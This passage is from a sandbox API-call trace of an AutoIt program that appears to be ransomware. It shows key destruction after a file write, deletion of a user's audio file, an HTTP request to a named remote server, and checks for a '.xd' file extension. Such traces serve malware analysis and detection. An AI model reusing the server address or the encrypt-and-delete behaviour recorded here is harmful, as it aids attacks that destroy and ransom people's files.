wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.775] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.775] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.776] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.776] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.776] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.776] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.776] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.776] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.780] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.781] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.781] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.781] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xc9b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xc9b0, lpOverlapped=0x0) returned 1 [0064.783] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.783] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.783] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.783] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.783] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.783] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.784] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.784] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0064.784] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.784] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.784] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.784] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.784] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.784] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.784] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.785] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.785] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.785] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.785] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.786] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.786] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.786] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.786] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.786] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.786] CryptReleaseContext (hProv=0x17ab330, dwFlags=0x0) returned 1 [0064.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.787] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.787] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.787] CloseHandle (hObject=0x3bc) returned 1 [0064.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.787] CloseHandle (hObject=0x2ac) returned 1 [0064.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.796] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.796] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", lpFilePart=0x0) returned 0x3d [0064.796] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\vjufoi.wav")) returned 0x20 [0064.797] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2f0 [0064.797] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\vjufoi.wav")) returned 1 [0064.800] FindNextFileW (in: hFindFile=0x164c2f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.800] FindClose (in: hFindFile=0x164c2f0 | out: hFindFile=0x164c2f0) returned 1 [0064.800] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.801] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.801] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.801] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.801] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0064.801] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.801] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.801] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.801] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.801] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.801] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.801] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0064.802] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.802] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.802] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.803] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.803] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.803] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.803] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.804] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.804] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.804] CloseHandle (hObject=0x0) returned 0 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 